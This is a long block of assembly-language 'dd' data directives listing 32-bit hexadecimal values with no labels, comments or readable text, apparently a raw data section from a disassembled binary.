dd 0D725E9BBh, 1F36C522h, 29149C3h, 64EF09F6h, 8CEE6A99h
dd 0F82F6803h, 2DE3EC0Ah, 164283E9h, 0C2CD79DFh, 0B45035E9h
dd 0CE9DD3A1h, 0BCB06A0Fh, 0C58BAC9Dh, 9F12D6A2h, 0BD0F44E1h
dd 7784836Ch, 61231189h, 59B46AD7h, 0A4904BE5h, 0DDE6922h
dd 0CBE720CBh, 5AADAFBh, 767AA5Bh, 56B313D2h, 0B6C3C2B1h
dd 81E95F06h, 64342BCEh, 30B80D50h, 3824279h, 2B49295h
dd 5E7C880Fh, 0A2752F43h, 48C98A84h, 4F78Fh, 7087BA01h
dd 7EE97642h, 1C9091B2h, 0CCD8620Eh, 0E14F3001h, 0A6CDCD06h
dd 1682CCE2h, 5E34A479h, 402F8901h, 6812094Eh, 29FF4465h
dd 0EEDF11FAh, 200905D0h, 81757138h, 86506688h, 0F601DC5Ch
dd 2E4F4890h, 956431AFh, 0D43D3E39h, 581E938Bh, 4060B25Ch
dd 88073B4Ch, 510ECF81h, 0DE6F3808h, 6E189440h, 2AE95337h
dd 2D9C0D98h, 41C305E0h, 483290A0h, 0FB2D2402h, 70B1331Eh
dd 9702B52Ch, 7629A33Eh, 539416F0h, 63E2EA43h, 71436882h
dd 0A8894379h, 2F96F51Dh, 102D7C92h, 0E2E7715Ah, 0CA4C535Dh
dd 147D4B7h, 18A52A89h, 71EA05Bh, 27265A9Dh, 3355C994h
dd 3554D93Fh, 0BFF0522Bh, 3A4892A1h, 2F3141F7h, 3A2B9181h
dd 6A826057h, 0F12EC67h, 1AE036BAh, 0D8720CA5h, 1841CFCAh
dd 5C7D8341h, 1D280D00h, 357B6503h, 85804095h, 0C580F694h
dd 49A12BBEh, 0E9164603h, 52C5C70Ch, 5269DF19h, 1E0B7F78h
dd 0BFFE4601h, 0D97EB8E2h, 0E655F425h, 9EE7D11Dh, 0D14C5768h
dd 60ED4FE8h, 5B660ADEh, 1E48B151h, 0F74A100Bh, 56CABE05h
dd 5CEE876h, 0A489A937h, 3BBDE5FFh, 4D12E28Bh, 23F3EE46h
dd 0D3DCF84Ah, 0D30B2DBCh, 0A8829602h, 0ED5D3ECFh, 1759ADF4h
dd 0E0D41064h, 8BD693AAh, 93AAC555h, 0AF2DA8C0h, 1F03BBF0h
dd 43F63Dh, 36679DE3h, 83120F27h, 0ECB2E054h, 0AC734325h
dd 80005693h, 2B50F99Dh, 0D5C926E9h, 0AD899792h, 21DE98E2h
dd 4049016Ah, 65410805h, 4A2B6C67h, 3607ABACh, 0F06B064Fh
dd 7C8B0C2Ah, 3BCC8951h, 97FB8DC4h, 24E56E5Eh, 9F56C7D7h
dd 1A22E9C2h, 0E55A9599h, 0BAD36ABEh, 0B266B9E0h, 8620C83Eh
dd 0B4F59F2Dh, 24CDE461h, 311A0ABDh, 0A706EDDEh, 29EE030Dh
dd 0F842E9C6h, 0CBB9AD40h, 546E2C19h, 0CCE01F0Ah, 0A30C12E3h
dd 3C4A5816h, 2D54DE13h, 1B7D105Ch, 298C0F05h, 0D7B3EF15h
dd 6357B88Bh, 0E9C2D416h, 0B69CF06Dh, 48600913h, 2ECFEE44h
dd 3689A7B2h, 251061E3h, 4CE8091Ch, 84E0E01Ah, 3F5D1BFCh
dd 4E833944h, 0E9C2DCA2h, 208E36A5h, 0EFE1FCE4h, 0ADA4BD44h
dd 595D5709h, 0B67C52B3h, 87C15464h, 0E87AA63Ah, 94AC9978h
dd 80D90307h, 7C4244C2h, 54305F56h, 169931B0h, 8D8293Ah
dd 784AEFEDh, 9409F98Bh, 0D1F730DCh, 762B3EA2h, 81E90C1Fh
dd 98832ACh, 45953A51h, 558A8070h, 0FD89426Bh, 8B0C540Bh
dd 6857A313h, 13091624h, 0BA016B53h, 0C06048Dh, 0BD1C8428h
dd 77D22A96h, 0EEE4C20Dh, 437CAF3Ah, 0C7AA6256h, 0B27E4E9Bh
dd 9753DA60h, 0E7D12C36h, 73EF406Ch, 29E62B3Ah, 2C8BFE5Ah
dd 0A91E9E12h, 682D76Bh, 32E25725h, 7EBB3BC1h, 0F23EA72Dh
dd 0A28E4E29h, 0F051994Ah, 0C19E8758h, 804EE392h, 12404E82h
dd 0B24B6EAh, 640A16E9h, 3AD36B81h, 925F04DDh, 0F825C214h
dd 4D4083CAh, 57CF7475h, 8031E885h, 446A95EEh, 0F505898Ch
dd 52E6805Eh, 0E4178E03h, 72C88747h, 17C0D2D5h, 0FB7A0EE9h
dd 1AB28977h, 960CD661h, 5B8EAC34h, 80E864BFh, 0DB6CA0A5h
dd 48AB3850h, 657C4A78h, 614BCA00h, 0D3E92623h, 1E6AC3Ch
dd 3F7F625Ch, 705F5B57h, 0D3C63C3h, 41EE4AE7h, 2228F1AAh
dd 8C12204Ah, 4CE63D12h, 0AF8A04EFh, 555D0914h, 0A4030591h
dd 0DA16E00Dh, 6FFCBBAh, 0AE76D6BFh, 6EF0D2Ch, 0CF28C783h
dd 74E282C2h, 0B189975Ch, 34D3572Bh, 0F102D889h, 0FB313C78h
dd 709A68D7h, 99463E6h, 7E9C160h, 1E32E681h, 3BB2F864h
dd 2DEE00CAh, 5E5041C6h, 0FE8A0F3Ah, 0BFE65F82h, 0FEDDC820h
dd 0F5DB0ECh, 495D726Dh, 0BF9635AFh, 0DAFC773Dh, 9FFE7FFAh
dd 8739E471h, 681BDC02h, 30BB30C4h, 0EF4BCDAFh, 0BEDC2D50h
dd 78452713h, 68485480h, 0AD284F58h, 290F81ABh, 1061093Eh
dd 137892Bh, 2AA7C298h, 1039DF31h, 32D62D00h, 24671435h
dd 0BEB04E4h, 5EAF2219h, 0C79B33FDh, 60B90148h, 0E8180B3Bh
dd 14C77C6Ah, 0E520D104h, 6A48B252h, 98AA628h, 0B7B19523h
dd 75843BD2h, 0ECB9E230h, 0FBD15CB3h, 7280BD27h, 0F1FA1B8h
dd 0C8FA274Ah, 749B7495h, 5E4B1120h, 0FC1362AFh, 5B52DE6Ah
dd 0C791B15Ah, 312BDA46h, 0AF2906BDh, 0C2C75F5h, 9F39630Ch
dd 6F95AA1h, 50DAEA01h, 6F012607h, 8045484h, 8BBF1C8Bh
dd 28A94BDEh, 0D181CD2Dh, 28509568h, 29BCC04Ch, 20E9220Fh
dd 739F2FE3h, 8AE9C29Dh, 88ED36Ah, 6C5918A2h, 54D86043h
dd 9FEA776Fh, 24683340h, 0C00F0562h, 0FC4ED079h, 20EA2920h
dd 0D0BD4C27h, 0FA56D776h, 8A3E768Dh, 0F0E93B86h, 7CE8CDC6h
dd 4F872E95h, 0E03580B5h, 2911A27Bh, 5B45C75Ah, 31ABB453h
dd 89665661h, 7944713Bh, 0EFF38B58h, 82F1B921h, 0D82FFD40h
dd 739860C9h, 0F7220498h, 0AFC14B52h, 0CF874681h, 50EFCB70h
dd 7208DD05h, 0EE50C5B5h, 0A57CB874h, 0EB7275FBh, 2AE92328h
dd 274D858Dh, 7565F788h, 5E7C000h, 3A51C7FEh, 0C5962FB5h
dd 0F107AF66h, 1BC780E5h, 88D2F730h, 205B2FFAh, 50025C7Ah
dd 0A7E982B0h, 504479CEh, 0FE48F5F6h, 0E8139EA0h, 0FF05F44Bh
dd 0D85BD5E1h, 3E133847h, 0FB0171h, 73215F80h, 0F538E90Dh
dd 3CBA5F0Fh, 0EAB05362h, 0C975741h, 1F05244Ch, 31F727ACh
dd 0BBEB5F87h, 0FD0A4814h
dd 941AC700h, 0D78CE97Fh, 18C147B2h, 76403C16h, 0CEDA820h
dd 226C4BB1h, 0F031620Ch, 1D276CD3h, 7E088E3Ah, 0DAB00A27h
dd 0A901004Ch, 0A6782D15h, 899D9807h, 0E4B8024h, 0BC3F2712h
dd 0D5053ED4h, 0A8437DE9h, 6B1C17Bh, 0E4DEC180h, 0D33DF9F0h
dd 0BB6DEF5Bh, 6879886Bh, 157B7431h, 75EAB789h, 50786A5Ch
dd 9B932FE9h, 0C02978CAh, 2F2EF97Dh, 66E1835Ch, 68CCF9F7h
dd 0AE105FD0h, 0D7EC5560h, 0A56E9DFEh, 8009B505h, 20BCB6C5h
dd 490D5017h, 0E876DF00h, 0F4F023Ah, 5C62AD81h, 0AF8642E3h
dd 69AADAAh, 90E18008h, 69B8E933h, 0AA05B756h, 0AC7A7ECDh
dd 0E7D0C637h, 98C30491h, 84293805h, 0FAB6D4CEh, 39AD8FD1h
dd 2F159D2Bh, 9F7767FDh, 2F3E8E65h, 5B7A07A9h, 7DF55862h
dd 2944A0F1h, 1B6DC8AAh, 23F37BE1h, 0BE38AB85h, 0D484EFF3h
dd 5A3EE701h, 0B7BFB4D4h, 0CD8115E9h, 7FC99A25h, 0B95158D1h
dd 2506EB26h, 4C386828h, 4959D109h, 0FDCFD837h, 0EDE90840h
dd 3813BD3Fh, 0C67E1C0Eh, 9D8497F9h, 35E9C9E4h, 0FF9CF854h
dd 86909DB6h, 0FF80F427h, 333D2BA2h, 8F100C90h, 0FC5A733Bh
dd 0D7898734h, 0DCCC73h, 50BF5418h, 3124E166h, 0D0B51290h
dd 38CD0C7Ch, 0ED0C6EA7h, 1E4FF5B0h, 0E9D860AFh, 12954A37h
dd 468BC1C6h, 8E0F4200h, 94E5A137h, 4A781ECFh, 0BB5FDCFEh
dd 0D506D103h, 0F2E94349h, 0B8D35FE1h, 2C145727h, 75C41AB7h
dd 68734C76h, 2E20725h, 2C4D215Dh, 0BD2970C2h, 5F6FF2F5h
dd 0B02EAC55h, 4F5D097Fh, 7E60EB4Ah, 5A70E6F8h, 0E9EFA03Dh
dd 52DBB027h, 549EC05Fh, 295D0839h, 1BA9295h, 0ECD9E90Ah
dd 11D52EA5h, 4E2C4449h, 0D68A0F1Fh, 0A014A8D2h, 1B36AB7h
dd 7AE7819Dh, 3048F823h, 0A7B1E841h, 6A74C501h, 0B86F6CCDh
dd 3F084142h, 0BFA1B826h, 782D5AD4h, 1A7A0022h, 5BB537Fh
dd 0C1B0BD52h, 4B366E20h, 0B9BC30ADh, 0D002086Bh, 18E95575h
dd 8CEA5462h, 810D1646h, 4302AD92h, 575E1DBAh, 570789BFh
dd 6F6DB061h, 47AC84C4h, 72BF2B7h, 0A52FEDFDh, 0B0F26E7Dh
dd 0D380B7F0h, 1E6D87B9h, 50893327h, 6F8B97A0h, 0BD0863FEh
dd 0FE22029h, 15054CDCh, 73E45A40h, 7834E918h, 81BB2049h
dd 0F857F8F5h, 0F50F8117h, 0EB6B5615h, 7BB6D829h, 0EAEDE4C3h
dd 335E4B31h, 0BAB568C4h, 19E56091h, 8E38EC2Ah, 33A99681h
dd 4EF2A885h, 4163EFDFh, 0EC050C75h, 47F71E96h, 6BEDD101h
dd 98710373h, 4E7CAEE8h, 0E205FBE1h, 95C85B91h, 0C2141FF6h
dd 3FD19E2Ch, 64D50851h, 0B2D8F27Eh, 27CE465Ch, 516148E9h
dd 8AE93028h, 335BC9B5h, 2AF78D7Bh, 27C628EBh, 5A8C8795h
dd 7FD05569h, 0C725F89Ch, 0F95D1743h, 59CD8084h, 0B77D0268h
dd 0E92D6796h, 7DBAC2EAh, 84C9C55Bh, 0EFED6775h, 0B8EAC1C4h
dd 9E69299Ch, 97225F27h, 89DF4AE9h, 0D1835E0Bh, 0CD493166h
dd 0EEE1605Bh, 0A298E92Dh, 5C83B1E3h, 53F896FFh, 0AE05134Eh
dd 2E095335h, 2E098A7Ch, 2912ED01h, 0C814FAEh, 0C7A5FB68h
dd 0D2A42455h, 28A90617h, 70366A1h, 0B12C405Dh, 0F7134993h
dd 0B708C528h, 6168A0A2h, 0E402257h, 0EBF37716h, 58566805h
dd 2D6DDFBh, 7D0B4BFDh, 2010E710h, 0C20B49CBh, 5595F79Fh
dd 0CA0FDCACh, 897C8245h, 969BD1F7h, 138AB631h, 8DCAF821h
dd 0E25EEE4Fh, 572515DCh, 0E984BE65h, 0A2EB2922h, 2AB8DF4Bh
dd 4190C353h, 18231A3Dh, 0F6B73E70h, 65F51252h, 0E32D870Dh
dd 305BEF9Ch, 281621BCh, 1EAA40DBh, 2D58D250h, 0E760F70Ch
dd 0A3057C2Ah, 0E9BF0A07h, 0EB460FCDh, 3F6160DDh, 1BDD9785h
dd 0F3BBDAh, 9763EE31h, 0F189CBBDh, 0E2A58CC4h, 4504AB17h
dd 0A6F2D5F7h, 0B77307C1h, 0D0B42A64h, 0FB0300C5h, 3E05A10Fh
dd 330A325Dh, 72DE801h, 0E123E90Bh, 94C6532Ch, 4117FEE6h
dd 433E2044h, 277C2F26h, 0F0C96112h, 470AEE00h, 73735C8Fh
dd 70B8F805h, 0D1F4148Ch, 88FFF113h, 6B9756BFh, 4F656DCh
dd 324E680Ah, 9E6CC1EDh, 0EAD5C235h, 74F2FDF7h, 0DA73DCBDh
dd 40A40074h, 5D1E2D1Ah, 0FF6FAE72h, 9D18D603h, 7F2D590Ah
dd 274B2DE4h, 6B5307C1h, 6B89DCA9h, 0DBA86559h, 0BB702C0Fh
dd 31A7C41Ch, 892F2EA7h, 67095FDAh, 894FD412h, 4285766Ch
dd 80093ECEh, 0E77D3589h, 0E7B00Eh, 28872078h, 55868B0Fh
dd 1235ABC6h, 7A526056h, 2A0B2687h, 18FBBA05h, 0D3B0137Ah
dd 60D74151h, 9D622E2Ch, 0A084D23Dh, 2959C8C0h, 5BEFFEC1h
dd 0F62DBFBAh, 0A6021E93h, 695712D8h, 0B3AA65AEh, 0C6E90CC1h
dd 0AB820F6h, 63ED1D0Ch, 0EBA6BFA3h, 0CA0B20C6h, 0A5F1E098h
dd 59F4E500h, 120460Eh, 93FA50F2h, 8F1A125Bh, 9CBA042Fh
dd 2A56CA8Bh, 32CCA33h, 8548E1EDh, 60F7409h, 0C1765E8h
dd 8836B151h, 0E026D0F8h, 9A339834h, 0E9A79980h, 0A17C70FAh
dd 0D02EFAB8h, 661BEF0Ch, 1621309h, 83208F7h, 8F597E25h
dd 0B07521E9h, 44D1171Ah, 6342BD42h, 8530975Fh, 0BEE5ACE9h
dd 0E1695A89h, 5BD88B9Eh, 0CA4A8F75h, 0E9C180FDh, 0C94C9FB0h
dd 50DA3201h, 0CBAB38FAh, 8D1B080Bh, 7A0A3CE9h, 3F082447h
dd 898B110Eh, 0B1841043h, 31DA6BF3h, 0DE4085Fh, 46927725h
dd 11643FC1h, 856090EBh, 9DA4F6D4h, 5455D0C2h, 5126F0CDh
dd 7792797h, 2D2B3783h, 1A7DDF65h, 0EAFC5721h, 0A2323159h
dd 56D04F13h, 60DABA30h, 0E682C55Eh, 0F7F04A75h, 0FFD72133h
dd 9B158A80h, 1CE58161h, 687425ADh, 4F080B9Eh, 0BF007D48h
dd 0E1F19B8Bh, 0DDBFC895h, 0E8213B5Bh, 8A8D444Eh, 778D1C1Ah
dd 0C609728h, 0D4424130h, 36B2A1EEh, 7281535Ah, 0E2073C26h
dd 0D3554BAFh, 704CBE13h, 9D5DB35Fh, 6FA2EA80h, 270F3DCDh
dd 0A950E883h, 5A18DCBDh, 4AB5165Dh, 0CD9D8151h, 35F62F9Dh
dd 0E94B104Ch, 87E90B6Ch, 98AC94B5h, 0BADE5B2Ah, 0AB3B567h
dd 2D1776B8h, 905F59D9h, 4BF85029h, 17F752FEh, 4A22F8ABh
dd 0BBAC33BAh, 599F4D70h, 0F9789546h, 53768725h, 0AD9AF70Eh
dd 9D147293h, 6268F501h, 5DED5469h, 0A7FA1F6Fh, 19012254h
dd 0DA29B01Eh, 9E10B427h, 0C7300086h, 0B0505866h, 90FAFA67h
dd 855B4AA5h, 0A5D9BF0Ah, 0E920C1F1h, 0BC029F5Ah, 0FDD4628Eh
dd 0FD1AC624h, 9E54570Ah, 31315825h, 0D56EE7C0h, 3E413258h
dd 4DDF9E9Eh, 3CB140D2h, 9CE34E43h, 6EC78DEBh, 68D0AAE1h
dd 0A874B772h, 0CE49DAA0h, 0E7E226E4h, 8D90F209h, 0FC38E46Fh
dd 90E16E17h, 0E548872Bh, 0B6211A30h, 0F01762Dh, 6805201Fh
dd 847FF147h, 0B22CBBC1h, 8FE91252h, 416CBE05h, 94DAB55Ch
dd 0E87851BFh, 0D3750CC9h, 0F8012D90h, 11B473Fh, 74205D8h
dd 97B6D05Bh, 3069567Bh, 4A4BBF13h, 10BAB862h, 68171B34h
dd 99FC58Ah, 0E5D42137h, 0F30E919Ch, 0A6D90F5Ah, 271A1116h
dd 7F8295Fh, 3C2B7697h, 4E204CCCh, 2C4AB802h, 0D7316DD6h
dd 7B587049h, 58F391D2h, 9552B0E5h, 68185636h, 829362C3h
dd 80EA99F6h, 0CD027605h, 9F0E2D52h, 744E3429h, 6074189h
dd 0F49D23D4h, 74E9D866h, 2D01FEB4h, 0E67B9BB1h, 3F2AE9h
dd 6FF0BE0Bh, 817C0C56h, 8547F40Bh, 1EE07572h, 113F0493h
dd 4EF6003Fh, 0E91071CAh, 5FEA4052h, 44BEF197h, 28AD9147h
dd 2A6E21CFh, 8EFD0BBEh, 2035524Eh, 0B6A088E7h, 0BF602BFh
dd 0D268622Bh, 71E71F5h, 945A01BAh, 3826C012h, 3D5BD44Ch
dd 0B91080A9h, 0C8FE1639h
dd 5E90E809h, 407975Eh, 0ACF1E6A2h, 3634A11Ah, 242A680Ch
dd 0E92E3978h, 93BAB839h, 63A3CD28h, 881FB306h, 0A5277CDCh
dd 0CB801BD1h, 152F5011h, 0BF24B2BFh, 0BF5457F6h, 18B002E5h
dd 2425F068h, 8FF0677h, 0BA26F4B4h, 4E79662h, 1038EB5Ch
dd 0FA802CE9h, 6BBA6B67h, 0E65C4842h, 0AC499CB3h, 0EB1CB8E8h
dd 14FF2529h, 405A98FBh, 86120F6Ah, 6CFEB4BCh, 9A7F5E44h
dd 0EA315D9Fh, 0AC452EFEh, 9909CC78h, 9004648Ah, 206D17B3h
dd 0EED507C6h, 45C53071h, 0A59AD7E9h, 2EE83024h, 39406807h
dd 7A4E7749h, 0D265E909h, 5A7AFEFEh, 2EFBA48h, 2631CDB0h
dd 0F3D63339h, 0F921322Bh, 0A377744Ah, 0EAAAEBCAh, 0BF8155C7h
dd 29C679E9h, 6856C1FCh, 3B3828BFh, 0E5F55589h, 9252432h
dd 0F1DFFEE5h, 91F3976Fh, 0E006EAD3h, 59B50720h, 0A85CC5A1h
dd 90DDB1F6h, 5AD4CB7Ah, 0CBC16E90h, 0B1569FFEh, 257B6472h
dd 9AAC3A05h, 685B5718h, 8E614BEFh, 85573AABh, 16FEA1B7h
dd 0B3F9CCC3h, 87A89D4Bh, 28232C0Eh, 66277ABFh, 5399E489h
dd 5CBF28EBh, 33EFA78Fh, 7959BDC2h, 1FDE49E7h, 72196861h
dd 0A83BB74Dh, 77E3C975h, 47C09A1Bh, 1260A274h, 0F2E955F1h
dd 0E2B0B730h, 1AA4722Ch, 4E47644Dh, 0E9B0BFBCh, 0DB99F5A1h
dd 21F18087h, 845A893Fh, 6680ED16h, 0AD3495h, 492CD8F6h
dd 1CE9C330h, 0BF1C4197h, 0B479A93Bh, 0B0D3D0A8h, 0CF41F0ACh
dd 3569FAA7h, 6AEC7E0Ch, 65DBE9B1h, 344C4745h, 3873D80Fh
dd 5D2506BEh, 0FB3F8065h, 55FB0BB5h, 0F8FC0948h, 59CC13DFh
dd 9EA3DACh, 48CF1EB6h, 8039D077h, 9D86E908h, 0E5C06101h
dd 3068E07h, 9D6C980h, 0E83B02E9h, 41D0EA3Ch, 49112F1Bh
dd 9A447E32h, 0F7BA6F03h, 0F18101FDh, 7EC40FF6h, 579806Ch
dd 826B34C7h, 3C13EF25h, 80E549A8h, 674FB879h, 0CA060B7Ch
dd 262F7ABCh, 4C9D090Ch, 67806FDAh, 6763E36Ch, 5C77E927h
dd 305D2D07h, 0BAFC6B0Bh, 0EAEA5BECh, 628B2341h, 816B4AD8h
dd 4BE1570h, 8561F8AFh, 1C8D6A8Ch, 918DC5E0h, 75C0AF22h
dd 472F7FDAh, 7066742Ch, 21552FE9h, 87BC7EE6h, 0F7470804h
dd 0BDCE8DFh, 343923h, 0B42418EAh, 930CC14Ch, 0F05AA035h
dd 5603AEEEh, 72E9590Ah, 0E38057CFh, 0FD4F7Ch, 81E6D190h
dd 34165ECEh, 0A60C4FFEh, 0B6B0E2A6h, 0CBE23A36h, 5B052FDAh
dd 0CA24E3B6h, 1040275Ch, 0FDE4D788h, 3E5A5B3Bh, 0CACEBBEEh
dd 4A4076DDh, 16F255CFh, 53ADE94Ah, 0D770F3E3h, 0F932AEBh
dd 65FC3BEFh, 76A857C8h, 95609050h, 718934DEh, 0E31BFF30h
dd 81ECA7C9h, 4ADCCD99h, 0E5D80AA5h, 0D0151F2Bh, 1F5016Bh
dd 0D14BD976h, 31097AE9h, 0D5307E7h, 72E62B8Fh, 62F40968h
dd 4AD54335h, 0E9B6222Ah, 9A54557Ch, 786AD4AFh, 0BA9C10E9h
dd 5381B101h, 0ABD55152h, 9515F6F0h, 7A5E9B68h, 0C361337h
dd 3FDA6040h, 72D030E9h, 0DA46822h, 0A818B230h, 724E11CDh
dd 4B09B564h, 717D2A29h, 0EE895061h, 4EC512DCh, 2EA2A7Ch
dd 35EFE961h, 2CF7C6FDh, 90A7C88Bh, 66071734h, 9BC762FBh
dd 8D55A40Fh, 431F21EEh, 0EED383A5h, 803FA253h, 574BA2Dh
dd 0F0010DECh, 21071605h, 7DD8FE64h, 0A0E02733h, 699CE739h
dd 0B1576FDh, 0F571ACF7h, 0C00C14D0h, 180F6D12h, 466025Fh
dd 27CDE921h, 240E3E44h, 0C057A303h, 355E2FE3h, 39CBF814h
dd 61826B7Eh, 3373E94Bh, 5251A1DFh, 0D3E9EA88h, 305A032Bh
dd 0F3D059EEh, 0EB38805Ah, 66E30778h, 126DB652h, 0E9FCED31h
dd 0E2429FBBh, 3FFF655Dh, 5B40CA2Dh, 98BA2CD2h, 2B56CE4Ah
dd 77A7101h, 0C2F30131h, 0A9088FC1h, 5D37E1ABh, 0D7FCA62Eh
dd 2954AF01h, 0BC2B3621h, 91FC346Dh, 310481FAh, 51270A4Eh
dd 188E027Dh, 5EE2A313h, 360B1081h, 71BE0706h, 55217F5Dh
dd 4AED6850h, 0A46AF731h, 806983FDh, 804C5535h, 24C2C120h
dd 59F6F529h, 0A0ED6E87h, 8E65BF97h, 0AD2BE1BBh, 0FB22770Ch
dd 0BD0136F8h, 0D0C37630h, 3A1F282Dh, 578E0B9Eh, 0AAB2B93Eh
dd 75073F10h, 9E911A0h, 74B73970h, 3BE45060h, 3F6270BCh
dd 395909D8h, 0BB4217ACh, 0D9F600F8h, 4505E180h, 2CC3890Fh
dd 52330ABDh, 93BAD8FBh, 534C38F8h, 341F00B9h, 866813DAh
dd 0E96AE173h, 0CFBB97D9h, 0C9FD2AFEh, 3AB96638h, 5E26636Ch
dd 0C524CE52h, 0E2D1F71Ah, 950092AAh, 390A01EBh, 58290925h
dd 5ADD17DCh, 0FE2F48Dh, 2D318B3Fh, 10A73AAEh, 0BA2C65E9h
dd 1E998C31h, 4A5F91A5h, 138D61FFh, 5F5CA32Ah, 500C1FCh
dd 0F7E7A68h, 9BBCF029h, 7DEE1900h, 18B4C981h, 0C2078376h
dd 8E13FA72h, 84EE058Fh, 0EC1EEAFAh, 2751DAEDh, 0CF52C649h
dd 4B8AF12Ah, 2F486812h, 21270EA3h, 30D1CD69h, 84976F24h
dd 0FCBAAC66h, 56E9B046h, 8388B4C1h, 6A5B14DBh, 0B9D4D9h
dd 4E76F180h, 0B62FBC20h, 0EDF34E3Eh, 86EE7513h, 0F97E0C41h
dd 4033279Dh, 7C5159C7h, 860B1268h, 8478B972h, 57099C77h
dd 0F7CF9B06h, 0B0E1614Fh, 5CC1DD29h, 2B57DF68h, 0BF6A530h
dd 0B42A501Fh, 1A6F0526h, 0ACF4E955h, 5CF250BEh, 0F8473240h
dd 0E2C05B38h, 0C556CFA3h, 7796EE4Dh, 0FCC52042h, 2020587Dh
dd 45285B5Bh, 98C57DD2h, 0C76BB10Eh, 0F7AE5210h, 0B5E7A92Eh
dd 52738CFAh, 0A25AE92Ch, 0D1E6DDA5h, 67B2BF1Fh, 0F40E1F13h
dd 5E43D48h, 0DD229A09h, 11DB4212h, 855C67CBh, 0E31FECE9h
dd 32480214h, 0D95770AEh, 22ED8F95h, 0F93C5825h, 7C08415Ch
dd 12E07CCFh, 0B4E97C13h, 984FE3AFh, 717D3F52h, 1CCF906Ah
dd 6E9582C5h, 25D4108Ch, 809A765Bh, 0AEC280F9h, 0E969152Ch
dd 0EA86A7E2h, 7D402442h, 52707B56h, 6DE616BAh, 1F6D097Bh
dd 0CDF62A8h, 0E745F110h, 882D0F09h, 0B9097402h, 0EC037DFAh
dd 68E80310h, 0E9FD291Fh, 0E9D7BEB4h, 0FEC107B5h, 672FFEC9h
dd 0DA66B73Ah, 23F58093h, 89735A1Fh, 0D0B5A4B8h, 2034B39h
dd 0F3295F5Eh, 0A5DC095Dh, 0B3AF5DD1h, 87ACD65Ch, 8C8FC3A1h
dd 50C44270h, 0CE70035h, 0DD0D47AAh, 141C282Ch, 5F398A0Fh
dd 27A100ACh, 0D1130E50h, 0E188AEE7h, 21914DE9h, 3229BE4Ah
dd 253F1261h, 0EEC4EAB8h, 4EA8FCAFh, 0C261B9A1h, 2C178529h
dd 0D6B8E31Eh, 4FDC9BBEh, 5183136h, 33985F51h, 0DAD8201h
dd 0FB951B58h, 0D1BE0040h, 0E949AD12h, 0F7C57F27h, 71E81E19h
dd 70E33BA8h, 2C53FB5Eh, 0B1948707h, 83F089E2h, 5B478576h
dd 9371EB20h, 8105D07Eh, 61D5795Fh, 2E0F2838h, 0B6A406ECh
dd 3A686658h, 78591C1Bh, 5242B709h, 32967FE5h, 4FA2925h
dd 6DEAD3h, 2A7068B8h, 0BB5314C9h, 340BBB74h, 0EF80DBF7h
dd 1A613638h, 3E4F50BFh, 922E943h, 76D4EB4Fh, 738C2D80h
dd 0D9794C07h, 88DC5E26h, 5205086Bh, 4BB15A5Bh, 0E303466Bh
dd 0E6779156h, 77C91B2Eh, 53C1FFA5h, 3FAF425Eh, 0DD59E149h
dd 79768ACh, 5D2EF9B9h, 40BE09A4h, 0F4627E75h, 724E91Fh
dd 56F34A3h, 27FB7BC7h, 27F48AD9h, 0ACF24A18h, 22E1D9F7h
dd 6DF904C2h, 0BCBF6B77h, 22161CD5h, 0EA9CDD2Dh, 0D378E918h
dd 0AA1EE3Dh, 3169207Ah, 0E14C1680h, 17824505h, 9752EAF5h
dd 241486EEh, 0D49DD8EAh, 0E05D7A1Ch, 0B5FEFA54h, 8962D4D4h
dd 0EE54042Ch, 4E891A4h, 0C11F694Ch, 4400FFE6h, 194E3439h
dd 93829729h, 0BDD411D4h, 71376380h, 0EEEAC14Ah, 0B653FE42h
dd 7E35016Bh, 3B384D5Eh
dd 0B93D41AAh, 7A29554Ch, 70094012h, 0CB40F707h, 7825561Eh
dd 0DB407FA3h, 94CB459Fh, 5D48305Eh, 0F699551h, 9057A55h
dd 8DF65A54h, 8E8B5089h, 146B885h, 4D94AAFh, 3A4E65E0h
dd 0ABB4E3B8h, 50921A0Bh, 0B7BA1DB6h, 1CC822Ah, 42565AD5h
dd 6C3B312Ch, 1E215835h, 0D209D934h, 6A3BE1A8h, 0A938D201h
dd 0B12AA64Ch, 55A72A38h, 0ED52134Bh, 0C2FDD2CAh, 2DBCE90Dh
dd 33D0F812h, 2F460D3Dh, 7F9E0B14h, 9452B06h, 8B5E1EF8h
dd 403C564Ch, 90DD955Fh, 0BADAE904h, 0AC2AF9DCh, 0C8BEB433h
dd 0C12F5D62h, 52A4F4FEh, 12C395C0h, 0E93D7A05h, 89D19F0Fh
dd 0EE3916E3h, 1C8F2086h, 7F685002h, 0E5371F18h, 782D8102h
dd 6007F25Fh, 0ED621305h, 4288651h, 87BAFC58h, 0F58BCC8Ah
dd 768B8F45h, 4BB3102Fh, 2EA52534h, 0FDCD2BF7h, 0E80A754Ch
dd 0E2072D7Ch, 93329D0Bh, 0D2FBECC5h, 0B16A56D2h, 18B71A40h
dd 0E2AB16D3h, 8AAB4B53h, 48CB9707h, 5FA1615Bh, 9480787Fh
dd 899E78AFh, 0D7C9611Fh, 63087C64h, 105896F8h, 3B272643h
dd 1205CD12h, 6105A154h, 0CAFF8343h, 24AECBBDh, 0A8BB40FDh
dd 97125AA9h, 15D9B6AEh, 12C9F061h, 9FE36ACEh, 12C0C17h
dd 763594FBh, 0BD077E20h, 75D90244h, 0E2334818h, 0C8B2FE5Ah
dd 23BB3B5h, 0A7D07B8h, 0B729C138h, 0BD5812D8h, 0E9896DD6h
dd 546FE21Dh, 0F39A7B7Ah, 50374857h, 287CE270h, 80063558h
dd 82DEE224h, 51DDD0D7h, 931FD78h, 3F0D5FAh, 0DF0B0B9Dh
dd 8A0DE990h, 0D6873EA8h, 2DBE47F4h, 0C9465915h, 24567652h
dd 0D9E704D6h, 4F4FEFEh, 0DDD44F14h, 53404281h, 729FFE0Bh
dd 3DC96C75h, 0E3DA9168h, 0B1B2760h, 1723F56Ch, 591665A5h
dd 6B269C0h, 700B5302h, 4A0F2911h, 58800A2Ch, 0DBB17A2Dh
dd 0C3012F54h, 6861A6F9h, 0E73A1ABFh, 0F966CB7Ch, 0C53217F3h
dd 1571BF49h, 5A03BF25h, 2B02CFB1h, 680948E9h, 57593662h
dd 0A34E7B80h, 95E2C12Ah, 21DF4282h, 8791E901h, 12CAF77Eh
dd 62BF5D5Ch, 425769A5h, 4CFC4EC0h, 611292D3h, 5835C3h
dd 0F4542E3Fh, 0DA00B91Ch, 0F761B141h, 250F49D1h, 7E54AE85h
dd 281DE181h, 8AF04355h, 0B8E74A46h, 4FA090FDh, 0BFD216B2h
dd 74A87D85h, 9057582Ch, 3B5B3B27h, 0D210CC7Ah, 1C7A3BBh
